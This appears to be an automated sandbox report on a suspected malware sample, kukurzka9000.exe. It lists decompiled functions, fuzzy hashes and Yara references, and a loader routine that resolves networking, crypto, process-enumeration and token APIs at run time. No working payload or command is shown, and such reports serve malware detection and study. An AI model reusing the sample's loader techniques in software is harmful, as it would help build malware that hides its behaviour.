Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: __hextodec__inc_isxdigit
String ID: +$p
API String ID: 3003077261-1790238857
Opcode ID: d5f280f2fa3220834aed4b8a45a1ba7957958c050bee697402ae40ae9c2d1f26
Instruction ID: 70ae99dea26e9fda4ea79188d22675bc92693f72982ea39d00ca0f601ce3ed33
Opcode Fuzzy Hash: d5f280f2fa3220834aed4b8a45a1ba7957958c050bee697402ae40ae9c2d1f26
Instruction Fuzzy Hash: B33150B0E052A98BCF25CFA5D8543EEBBB1AF15308F5441DBC41966203D2795A81CF49

Uniqueness

Uniqueness Score: -1.00%

Function 0041F561 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

__set_error_mode.LIBCMTD ref: 0041F5C8
__set_error_mode.LIBCMTD ref: 0041F5D7

Strings

jjj, xrefs: 0041F5B0
SN, xrefs: 0041F5B8
t/j, xrefs: 0041F601

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: __set_error_mode
String ID: jjj$t/j$SN
API String ID: 167136767-292791468
Opcode ID: 0f3f3eb1433c1d13d63198b302bc914cf58cc9f7b1ed1b0aa788c9b33ad61992
Instruction ID: 72bc7d515c62c63b3c953949aec6e500fbe1c61f3963da58caf0db55085d0050
Opcode Fuzzy Hash: 0f3f3eb1433c1d13d63198b302bc914cf58cc9f7b1ed1b0aa788c9b33ad61992
Instruction Fuzzy Hash: D321F474A40108FBDB20CF44E995BEE33B5AB05314F60453AE40A922E2D3399F97DA89

Uniqueness

Uniqueness Score: -1.00%

Function 0059AE3F Relevance: 7.7, APIs: 6, Instructions: 190COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 0059AE87

Memory Dump Source

Source File: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_590000_F0geI.jbxd

Yara matches

Similarity

API ID: FreeLocal
String ID:
API String ID: 2826327444-0
Opcode ID: e2b69555ed1fe6fda59851be0d3c6c885782778e094666e903444fae68ab0d1e
Instruction ID: fa13a20042aa822530bc518fc49ed016c5bfee3037f578cdccc9f6e0c7b35c8d
Opcode Fuzzy Hash: e2b69555ed1fe6fda59851be0d3c6c885782778e094666e903444fae68ab0d1e
Instruction Fuzzy Hash: B951A1B1604311AFE704DF259D45A3B7AE9FBC8710F004A2DF968E7290DB70DD058BA6

Uniqueness

Uniqueness Score: -1.00%

Function 0040A2AA Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 117
memoryCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E0040A2AA(intOrPtr __ecx, intOrPtr* __edx, intOrPtr _a4) {
				void* _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr* _v20;
				intOrPtr _t25;
				void* _t29;
				void* _t30;
				void* _t39;
				void* _t47;
				void* _t52;
				intOrPtr _t54;
				void* _t70;
				void* _t77;
				intOrPtr* _t80;
				void* _t82;
				intOrPtr* _t83;
				signed int _t85;

				_t25 =  *0x40e1b8; // 0x735de0
				_v12 = _t25;
				_v20 = __edx;
				_v16 = __ecx;
				_t29 = LocalAlloc(0x40, 0x100 +  *((intOrPtr*)( *0x40e08c))(__ecx) * 2);
				_t54 = _v16;
				_t52 = _t29;
				_t30 = 2;
				_t76 =  ==  ? _t30 : 0;
				_t77 = ( ==  ? _t30 : 0) + _t54;
				if(_t77 != 0) {
					do {
						_t39 = LocalAlloc(0x40, 0x100 +  *((intOrPtr*)( *0x40e08c))(_t54) * 2);
						_v8 = _t39;
						_t82 =  *((intOrPtr*)( *0x40e18c))(_t77,  *0x40e258);
						if(_t82 == 0) {
							if(_a4 == 0) {
								_push(_t77);
								if(E0040A3E4(_t77,  &_v8, 0,  *((intOrPtr*)( *0x40e08c))()) != 0) {
									_t47 = E0040A503(_t52, _v12);
									_t70 = _v8;
									goto L9;
								}
							} else {
								_t47 = E0040A503(_t52, _v12);
								_t70 = _a4;
								L9:
								_t52 = E0040A503(_t47, _t70);
							}
							_t83 = _v20;
							 *_t83 =  *((intOrPtr*)( *0x40e13c))( *_t83, _t52);
							_t77 = 0;
						} else {
							_t85 = _t82 - _t77 >> 1;
							if(E0040A3E4(_t77,  &_v8, 0, _t85) != 0) {
								_t52 = E0040A503(E0040A503(_t52, _v12), _v8);
							}
							_t77 = _t77 + _t85 * 2 + 2;
						}
						LocalFree(_v8);
						_t54 = _v16;
					} while (_t77 != 0);
				}
				_t80 = _v20;
				 *_t80 =  *((intOrPtr*)( *0x40e13c))( *_t80, _t52);
				LocalFree(_t52);
				return 1;
			}

0x0040a2b0
0x0040a2be
0x0040a2c7
0x0040a2ca
0x0040a2d9
0x0040a2db
0x0040a2e2
0x0040a2e4
0x0040a2e9
0x0040a2ec
0x0040a2ee
0x0040a2f4
0x0040a30c
0x0040a31b
0x0040a320
0x0040a324
0x0040a35f
0x0040a375
0x0040a389
0x0040a390
0x0040a395
0x00000000
0x0040a395
0x0040a361
0x0040a366
0x0040a36b
0x0040a398
0x0040a39f
0x0040a39f
0x0040a3a1
0x0040a3ae
0x0040a3b0
0x0040a326
0x0040a32b
0x0040a33b
0x0040a351
0x0040a351
0x0040a356
0x0040a356
0x0040a3b5
0x0040a3bb
0x0040a3be
0x0040a2f4
0x0040a3c6
0x0040a3d4
0x0040a3d6
0x0040a3e3

APIs

LocalAlloc.KERNEL32(00000040,00000000,?,00000000,00000000,?), ref: 0040A2D9
LocalAlloc.KERNEL32(00000040,00000000,?,00000000,00000000,?), ref: 0040A30C
LocalFree.KERNEL32(?,?,00000000,00000000,?), ref: 0040A3B5

Part of subcall function 0040A3E4: LocalAlloc.KERNEL32(00000040,00000000,?,0040870A,00000000,00000000,?,?,?,?,?,?,004079E3), ref: 0040A40C
Part of subcall function 0040A3E4: LocalFree.KERNEL32(00000000,?,0040870A,00000000,00000000,?,?,?,?,?,?,004079E3), ref: 0040A449

Part of subcall function 0040A503: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00408633), ref: 0040A516
Part of subcall function 0040A503: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A51D
Part of subcall function 0040A503: LocalAlloc.KERNEL32(00000040,00000000,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A533
Part of subcall function 0040A503: GlobalFree.KERNEL32(?), ref: 0040A550

LocalFree.KERNEL32(00000000,?,00000000,00000000,?), ref: 0040A3D6

Strings

]s, xrefs: 0040A2B0

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: Local$AllocFree$lstrlen$Global
String ID: ]s
API String ID: 1425192967-573085443
Opcode ID: 16cf261d91fc909ca7edb2e35f5703406e063cb1cbf4963b31a85fac73282971
Instruction ID: 8d9fe808253cfd760579b52592682b105d53dbc0a4ab2c38afac3778b4664aea
Opcode Fuzzy Hash: 16cf261d91fc909ca7edb2e35f5703406e063cb1cbf4963b31a85fac73282971
Instruction Fuzzy Hash: 5A419572A00314EFDB14DFA5DD81AAE77B5EB88310F10497AE941B7390DBB89D20CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00431266 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004312E0
__aullrem.LIBCMT ref: 004314B0
__aulldiv.LIBCMT ref: 004314D2

Strings

9, xrefs: 004314E3

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 11e6684635529dbad8d35b36eef148a8965c2c1dbfdad4b443329b555f114060
Instruction ID: f0591ccac9ef110b670dbafa2154f0458bff898d973b6b25682ed3c2d09e6541
Opcode Fuzzy Hash: 11e6684635529dbad8d35b36eef148a8965c2c1dbfdad4b443329b555f114060
Instruction Fuzzy Hash: 1B4125B0E102299FDB24CF48C841BAEB7B5FF89314F1051AAD149AB251C7389E85CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 004312B4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004312E0
__aullrem.LIBCMT ref: 004314B0
__aulldiv.LIBCMT ref: 004314D2

Strings

9, xrefs: 004314E3

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 6e911fc6991dbc0dd141f8c46212a9eaaa5899a69abeb8a2316d7e632b1c436b
Instruction ID: 5b1078cb3ae15d9e769b38bd35f864cbac34573bdd3023a4d8c32d9638b75aed
Opcode Fuzzy Hash: 6e911fc6991dbc0dd141f8c46212a9eaaa5899a69abeb8a2316d7e632b1c436b
Instruction Fuzzy Hash: D44116B1E1012A9FEF24CF48C981BAEB7B5FF89314F1051AAD149AB251C7385E85CF19

Uniqueness

Uniqueness Score: -1.00%

Function 0042FF3C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042FF68
__aullrem.LIBCMT ref: 00430135
__aulldiv.LIBCMT ref: 00430157

Strings

9, xrefs: 00430168

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 6b6ddc622a056617a5856230ff7480f80a991bdd0847e8647f113bc0b4bb191c
Instruction ID: 835cfe15b476ae8e4793af6b9a4f30a0ff4c6f9aecd7600ab4d96fd8f35f6e68
Opcode Fuzzy Hash: 6b6ddc622a056617a5856230ff7480f80a991bdd0847e8647f113bc0b4bb191c
Instruction Fuzzy Hash: C441E671D01229DFDB64CF48DCA9BAEB7B5FB48300F1086AAD008A7240C7395E84CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0043125D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004312E0
_get_int64_arg.LIBCMTD ref: 00431308
__aullrem.LIBCMT ref: 004314B0
__aulldiv.LIBCMT ref: 004314D2

Strings

9, xrefs: 004314E3

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 1e2721535cc656cbde0337daf3e84c73702726f3bb7acc712b66a0e9bb19ac73
Instruction ID: 4f6c0f0e4c96b38d0cba1ee8cb67c5684d1908fa339e2039248adde2d440ae71
Opcode Fuzzy Hash: 1e2721535cc656cbde0337daf3e84c73702726f3bb7acc712b66a0e9bb19ac73
Instruction Fuzzy Hash: 864106B1E001299FDB24CF48C981BAEB7B5FF89314F1051EAE149AB251C7385E81CF1A

Uniqueness

Uniqueness Score: -1.00%

Function 0042FEEB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042FF68
_get_int64_arg.LIBCMTD ref: 0042FF90
__aullrem.LIBCMT ref: 00430135
__aulldiv.LIBCMT ref: 00430157

Strings

9, xrefs: 00430168

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 8050f4bc507ec0bb941bc43ca6d5d4e1f6f56b66609b99a9966d1b80a37584e8
Instruction ID: 6a8d78a9addc34f3ad7b00732ff531346a2d7fbc9811f2eeef7983ee3703c0e6
Opcode Fuzzy Hash: 8050f4bc507ec0bb941bc43ca6d5d4e1f6f56b66609b99a9966d1b80a37584e8
Instruction Fuzzy Hash: 7041E671E06228DFDB64CF58D8A9BAEB7B5FB48300F20969AD008A7240C7395E84CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0059A325 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000008,?,?,iqroq5112542785672901323), ref: 0059A33D
GetLastError.KERNEL32(?,iqroq5112542785672901323), ref: 0059A369
GlobalFree.KERNEL32(00000000), ref: 0059A3C6

Strings

iqroq5112542785672901323, xrefs: 0059A332

Memory Dump Source

Source File: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_590000_F0geI.jbxd

Yara matches

Similarity

API ID: CurrentErrorFreeGlobalLastProcess
String ID: iqroq5112542785672901323
API String ID: 775681509-2937663778
Opcode ID: 4d261efb80a07d971c1b4c2ed8a49a1184e64f21143a526caa496802c9409c4c
Instruction ID: 852a8214c165bf95219df19dbea4cf5bc5d9f12e64b869a8ae6422979b9d0e53
Opcode Fuzzy Hash: 4d261efb80a07d971c1b4c2ed8a49a1184e64f21143a526caa496802c9409c4c
Instruction Fuzzy Hash: 0C112E35900115FBDF119BA6DE44E9E7FB9FB49750F100864A901E2160DBB0EA14EBA6

Uniqueness

Uniqueness Score: -1.00%

Function 0041AE98 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMTD ref: 0041AEAD

Part of subcall function 0041BCB0: __getptd_noexit.LIBCMTD ref: 0041BCB6
Part of subcall function 0041BCB0: __amsg_exit.LIBCMTD ref: 0041BCC6

__getptd.LIBCMTD ref: 0041AEBB
___DestructExceptionObject.LIBCMTD ref: 0041AF28

Strings

csm, xrefs: 0041AECC

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: __getptd$DestructExceptionObject__amsg_exit__getptd_noexit
String ID: csm
API String ID: 4182212180-1018135373
Opcode ID: 0c34df0d760dd2be17682900818bc7e984008826c765d5e1224b71bd8f6bbe05
Instruction ID: 3e0ef99184adc83b36a3de020c612cd6e5a1dcf5289a61a20a03a7259e04c887
Opcode Fuzzy Hash: 0c34df0d760dd2be17682900818bc7e984008826c765d5e1224b71bd8f6bbe05
Instruction Fuzzy Hash: 161158B49122089BCF04DF51D1409EB7B72BF44359F90806AE8084B301D739EED2CBDA

Uniqueness

Uniqueness Score: -1.00%

Function 00591BD5 Relevance: 6.1, APIs: 4, Instructions: 130COMMON

Download Yara Rule

APIs

PathCombineW.SHLWAPI(00000000,?,?), ref: 00591C77
LocalFree.KERNEL32(00000000), ref: 00591C97
FindClose.KERNEL32(00000000), ref: 00591CB5
PathCombineW.SHLWAPI(00000000,?,?), ref: 00591D0B

Memory Dump Source

Source File: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_590000_F0geI.jbxd

Yara matches

Similarity

API ID: CombinePath$CloseFindFreeLocal
String ID:
API String ID: 2199340046-0
Opcode ID: 71846108eca0c7d647193b22d8ce5dd4fdf7bc5ca958116010044f5b0674090b
Instruction ID: 9cd148884bd1388fd3eadb71852acbcc8ac39eb7bd4c65af6c7f8a007a3d552d
Opcode Fuzzy Hash: 71846108eca0c7d647193b22d8ce5dd4fdf7bc5ca958116010044f5b0674090b
Instruction Fuzzy Hash: 1F412A71500226AFDF14DB55CE88FAA7B78FB85300F004968F905A7290EB74DE55CB68

Uniqueness

Uniqueness Score: -1.00%

Function 00591D6C Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

APIs

PathCombineW.SHLWAPI(00000000,?,?), ref: 00591E10
LocalFree.KERNEL32(00000000), ref: 00591E74
FindClose.KERNEL32(00000000), ref: 00591EE1

Memory Dump Source

Source File: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_590000_F0geI.jbxd

Yara matches

Similarity

API ID: CloseCombineFindFreeLocalPath
String ID:
API String ID: 2857355001-0
Opcode ID: bc6433c40a8b9f75e8f33f0345bf4f0871bf308c0c9983f9c55045f8c74c41ce
Instruction ID: 95c3fd80fa30ac67d15499a6e86b937b43c63dcc11313a42aa63721b5d73c8fe
Opcode Fuzzy Hash: bc6433c40a8b9f75e8f33f0345bf4f0871bf308c0c9983f9c55045f8c74c41ce
Instruction Fuzzy Hash: EB41267150022AABDF14DB51DE88FAA7F7CFB85300F004964FE15A7190EB749E55CB68

Uniqueness

Uniqueness Score: -1.00%

Function 0042B634 Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

__errno.LIBCMTD ref: 0042B65A
__errno.LIBCMTD ref: 0042B650

Part of subcall function 00419D50: __getptd_noexit.LIBCMTD ref: 00419D56

_memset.LIBCMT ref: 0042B6C3
__errno.LIBCMTD ref: 0042B718

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: __errno$__getptd_noexit_memset
String ID:
API String ID: 2566647553-0
Opcode ID: 1b48cd490129e75590af3b027f3b6103edbc69c545417cd468af48ab97c2e8e5
Instruction ID: d37dbc28f95ddef8e69025ae021ec1e05b2bb3543eccda486b0baf71b08d6c61
Opcode Fuzzy Hash: 1b48cd490129e75590af3b027f3b6103edbc69c545417cd468af48ab97c2e8e5
Instruction Fuzzy Hash: D6318430A00219EADF20DF54E9457AE7770EF51339F64826BE4292A3E1D3794D81CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00594204 Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001C,00000000), ref: 00594235
SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001A,00000000), ref: 00594242
LocalFree.KERNEL32(00000000), ref: 00594273
LocalFree.KERNEL32(00000000), ref: 0059427E

Memory Dump Source

Source File: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_590000_F0geI.jbxd

Yara matches

Similarity

API ID: FolderFreeLocalPathSpecial
String ID:
API String ID: 1111715986-0
Opcode ID: 88e42fc18ceae2b43f943ef1e8e127dc7ffeae556461e89db75f0c87543971c0
Instruction ID: 81778f617a5daa3d06104d1102b0e14bf7a8ac86741f91f3d607cde44c97f9fd
Opcode Fuzzy Hash: 88e42fc18ceae2b43f943ef1e8e127dc7ffeae556461e89db75f0c87543971c0
Instruction Fuzzy Hash: 0A014C713402147BFB245B969D4AF6B3B6DEBC5B21F040124FF1CAB2C1DAB49C1086AD

Uniqueness

Uniqueness Score: -1.00%

Function 005992CB Relevance: 6.0, APIs: 4, Instructions: 43COMMON

Download Yara Rule

APIs

GetUserDefaultLCID.KERNEL32(00001001,00000000,00000104,?,00599CB7,00000000), ref: 00599303
wsprintfW.USER32 ref: 00599314

Part of subcall function 0059A76A: GlobalFree.KERNEL32(00592C15), ref: 0059A7B7

LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00597D85), ref: 0059932C
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00597D85), ref: 00599333

Memory Dump Source

Source File: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_590000_F0geI.jbxd

Yara matches

Similarity

API ID: Free$Local$DefaultGlobalUserwsprintf
String ID:
API String ID: 3020363445-0
Opcode ID: 6b0006650763f32028c04d1d8b65d76126bb1431ea6ad44ba0a84cd2c8da19fe
Instruction ID: 335914eaabc172e80c0673ac2cd25ff2c1272d3144f6910af7c4de1d6fd81ac6
Opcode Fuzzy Hash: 6b0006650763f32028c04d1d8b65d76126bb1431ea6ad44ba0a84cd2c8da19fe
Instruction Fuzzy Hash: EBF0C8B1200214AFF3005BA6AD89E667BACEB88720F004435F749B7290CAB46C20867D

Uniqueness

Uniqueness Score: -1.00%

Function 00420412 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92COMMON

Download Yara Rule

APIs

__whiteout.LIBCMTD ref: 0042059F
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004215A6

Strings

n, xrefs: 004205CA

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: Locale$UpdateUpdate::~___whiteout
String ID: n
API String ID: 2661511698-2013832146
Opcode ID: a33af23d6a0fab86e66f612ac922636c844993ceb07215517b78c2e6999f35a1
Instruction ID: 0ed35de28cb5c4300c01912a322ac160f30ea6637afc2d79283bb38ba67d480f
Opcode Fuzzy Hash: a33af23d6a0fab86e66f612ac922636c844993ceb07215517b78c2e6999f35a1
Instruction Fuzzy Hash: 0641BF70A01269DBCF24CF55E4947EEBBF0AF41315F5481DBE8566A292C2388EC1CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004203E7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92COMMON

Download Yara Rule

APIs

__whiteout.LIBCMTD ref: 0042059F
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004215A6

Strings

n, xrefs: 004205CA

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: Locale$UpdateUpdate::~___whiteout
String ID: n
API String ID: 2661511698-2013832146
Opcode ID: 5f2175965e7bc0c0ed41a6cc2b9d15174e87f48c80463089164edb535b038560
Instruction ID: 0ed35de28cb5c4300c01912a322ac160f30ea6637afc2d79283bb38ba67d480f
Opcode Fuzzy Hash: 5f2175965e7bc0c0ed41a6cc2b9d15174e87f48c80463089164edb535b038560
Instruction Fuzzy Hash: 0641BF70A01269DBCF24CF55E4947EEBBF0AF41315F5481DBE8566A292C2388EC1CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004204D7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

__whiteout.LIBCMTD ref: 0042059F
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004215A6

Strings

n, xrefs: 004205CA

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: Locale$UpdateUpdate::~___whiteout
String ID: n
API String ID: 2661511698-2013832146
Opcode ID: bfd66062e8e27a280552f7e2b3ad207d37083d325a47f0f773fbd0b790f8c2e7
Instruction ID: d47c12be78318011e057a18be39ad1a7240684078ae5c7abe8e65317bfe61cd6
Opcode Fuzzy Hash: bfd66062e8e27a280552f7e2b3ad207d37083d325a47f0f773fbd0b790f8c2e7
Instruction Fuzzy Hash: AE319170A01268EBCF24CF55E4947EEBBF0AF11315F5041DBE85666252C2388EC1CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00420B4E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_isxdigit.LIBCMTD ref: 00420BBD
__hextodec.LIBCMTD ref: 00420BF0
_isdigit.LIBCMTD ref: 00420C16
__inc.LIBCMTD ref: 00420D00
__un_inc.LIBCMTD ref: 00420D24
_isxdigit.LIBCMTD ref: 00420D7D
__hextodec.LIBCMTD ref: 00420DA0
_isdigit.LIBCMTD ref: 00420DC3
__inc.LIBCMTD ref: 00420E74
__un_inc.LIBCMTD ref: 00420E98
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004215A6

Strings

p, xrefs: 00420BAF

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: Locale__hextodec__inc__un_inc_isdigit_isxdigit$UpdateUpdate::~_
String ID: p
API String ID: 1652772854-2181537457
Opcode ID: 7e471efdfc92bb58afa428daf1570721bc5bde3b08cbc77e8dd7330fa0d0a624
Instruction ID: ab9035c48991bbb2de8ccdc8194c1671506a212b0df9223f12cb3ba8c7c441a8
Opcode Fuzzy Hash: 7e471efdfc92bb58afa428daf1570721bc5bde3b08cbc77e8dd7330fa0d0a624
Instruction Fuzzy Hash: 272145B4E052798ACB29CF65E8543EEBBF1AB45304F5441DBC41966203D2385A81DF49

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: kukurzka9000.exePID: 8076, Parent PID: 5856COMMON

Execution Graph

Execution Coverage:	5.3%
Dynamic/Decrypted Code Coverage:	61.6%
Signature Coverage:	0%
Total number of Nodes:	1196
Total number of Limit Nodes:	2

Executed Functions

Function 0040100B Relevance: 224.5, APIs: 15, Strings: 113, Instructions: 531
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(kernel32.dll,?,?,00407780), ref: 00401016
GetProcAddress.KERNEL32(00000000,LoadLibraryW), ref: 00401036
LoadLibraryW.KERNELBASE(WinInet.dll,?,?,?,?,?,00407780), ref: 00401061
LoadLibraryW.KERNELBASE(Crypt32.dll,?,?,?,?,?,00407780), ref: 00401091
LoadLibraryW.KERNELBASE(Bcrypt.dll,?,?,?,?,?,00407780), ref: 004010AA
GetProcAddress.KERNEL32(?,GetProcAddress), ref: 004010B8
GetProcAddress.KERNEL32(?,HeapFree), ref: 00401297
GetProcAddress.KERNEL32(?,Sleep), ref: 00401369
GetProcAddress.KERNEL32(00000000,StrToIntA), ref: 004014CB
GetProcAddress.KERNEL32(00000000,StrToInt64ExW), ref: 004014E9
GetProcAddress.KERNEL32(?,CharUpperW), ref: 004015C1
GetProcAddress.KERNEL32(?,InternetOpenUrlA), ref: 004016F6
GetProcAddress.KERNEL32(?,InternetReadFileExW), ref: 00401714
GetProcAddress.KERNEL32(?,HttpQueryInfoA), ref: 00401768
GetProcAddress.KERNEL32(?,HttpQueryInfoW), ref: 00401774

Strings

ReleaseDC, xrefs: 0040161C
PathMatchSpecW, xrefs: 00401442
Shlwapi.dll, xrefs: 00401038
Ole32.dll, xrefs: 0040104C
CopyFileW, xrefs: 0040120E
lstrcpynA, xrefs: 0040137C
OpenProcessToken, xrefs: 00401547
GetLocaleInfoW, xrefs: 00401112
CryptStringToBinaryA, xrefs: 0040166A
InternetOpenUrlA, xrefs: 004016EB
OpenMutexW, xrefs: 004012AA
GetLastError, xrefs: 00401100
GlobalFree, xrefs: 004011B4
FindFirstFileW, xrefs: 00401256
wsprintfW, xrefs: 0040162E
User32.dll, xrefs: 00401079
CreateToolhelp32Snapshot, xrefs: 0040127A
DeleteFileW, xrefs: 00401220
FindClose, xrefs: 00401244
StrCpyW, xrefs: 00401478
InternetCloseHandle, xrefs: 00401727
GetLogicalDriveStringsW, xrefs: 00401124
SystemFunction036, xrefs: 004015A1
Process32Next, xrefs: 00401328
RegQueryValueExW, xrefs: 0040158F
StrToIntA, xrefs: 004014C0
InternetOpenUrlW, xrefs: 00401701
HttpOpenRequestW, xrefs: 00401739
CryptBinaryToStringW, xrefs: 0040168E
CoInitialize, xrefs: 00401643
HttpSendRequestW, xrefs: 0040174B
GetUserNameW, xrefs: 00401535
HttpQueryInfoW, xrefs: 0040176E
Advapi32.dll, xrefs: 00401069
CoCreateInstance, xrefs: 00401655
CreateProcessWithTokenW, xrefs: 004014FF
InternetOpenW, xrefs: 004016C7
HeapFree, xrefs: 0040128C
StrToInt64ExW, xrefs: 004014DE
